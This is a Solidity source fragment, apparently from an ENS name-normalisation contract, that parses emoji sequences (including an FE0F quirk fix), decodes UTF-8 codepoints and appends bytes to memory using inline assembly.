function processEmoji(uint256 pos, uint256 end, uint256 dst0) private view returns (uint256 valid_pos, uint256 dst, uint256 cp_count) {
unchecked {
uint256 state;
uint256 saved;
uint256 buf; // the largest emoji is 35 bytes, which exceeds 32-byte buf
uint256 len; // but the largest non-valid emoji sequence is only 27-bytes
uint256 state0;
dst = dst0;
while (pos < end) {
(uint256 cp, uint256 step, uint256 raw) = readUTF8(pos);
state = getEmoji(state & EMOJI_STATE_MASK, cp);
if (state == 0) break;
if ((state & EMOJI_STATE_SAVE) != 0) {
saved = cp;
} else if ((state & EMOJI_STATE_CHECK) != 0) {
if (cp == saved) break;
}
cp_count++;
pos += step;
len += step;
buf = (buf << (step << 3)) | raw; // use raw instead of converting cp back to UTF8
if ((state & EMOJI_STATE_FE0F) != 0) {
buf = (buf << 24) | 0xEFB88F; // UTF8-encoded FE0F
len += 3;
}
if ((state & EMOJI_STATE_VALID) != 0) { // valid
state0 = state;
dst = appendBytes(dst, buf, len);
buf = 0;
len = 0;
valid_pos = pos; // everything output so far is valid
}
}
if ((state0 & EMOJI_STATE_QUIRK) != 0) {
// the first FE0F is wrong
// have: A FE0F B C D
// want: A B C D
// where FE0F is 3 bytes (see above)
(, uint256 quirk,) = readUTF8(dst0); // length of first codepoint
quirk += dst0; // offset of first codepoint
while (quirk < dst) { // move left 3 bytes
assembly {
quirk := add(quirk, 32)
mstore(quirk, mload(add(quirk, 3)))
}
}
dst -= 3;
}
}
}
// read one cp from memory at ptr
// step is number of encoded bytes (1-4)
// raw is encoded bytes
// warning: assumes valid UTF8
function readUTF8(uint256 ptr) private pure returns (uint256 cp, uint256 step, uint256 raw) {
// 0xxxxxxx => 1 :: 0aaaaaaa ???????? ???????? ???????? => 0aaaaaaa
// 110xxxxx => 2 :: 110aaaaa 10bbbbbb ???????? ???????? => 00000aaa aabbbbbb
// 1110xxxx => 3 :: 1110aaaa 10bbbbbb 10cccccc ???????? => 000000aa aaaabbbb bbcccccc
// 11110xxx => 4 :: 11110aaa 10bbbbbb 10cccccc 10dddddd => 000aaabb bbbbcccc ccdddddd
assembly {
raw := and(mload(add(ptr, 4)), 0xFFFFFFFF)
}
uint256 upper = raw >> 28;
if (upper < 0x8) {
step = 1;
raw >>= 24;
cp = raw;
} else if (upper < 0xE) {
step = 2;
raw >>= 16;
cp = ((raw & 0x1F00) >> 2) | (raw & 0x3F);
} else if (upper < 0xF) {
step = 3;
raw >>= 8;
cp = ((raw & 0x0F0000) >> 4) | ((raw & 0x3F00) >> 2) | (raw & 0x3F);
} else {
step = 4;
cp = ((raw & 0x07000000) >> 6) | ((raw & 0x3F0000) >> 4) | ((raw & 0x3F00) >> 2) | (raw & 0x3F);
}
}
// write len lower-bytes of buf at ptr
// return ptr advanced by len
function appendBytes(uint256 ptr, uint256 buf, uint256 len) private pure returns (uint256 ptr1) {
assembly {
ptr1 := add(ptr, len) // advance by len bytes
let word := mload(ptr1) // load right-aligned word
let mask := sub(shl(shl(3, len), 1), 1) // compute len-byte mask: 1 << (len << 3) - 1
mstore(ptr1, or(and(word, not(mask)), and(buf, mask))) // merge and store
}
}
}
| 174,417 | 199 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.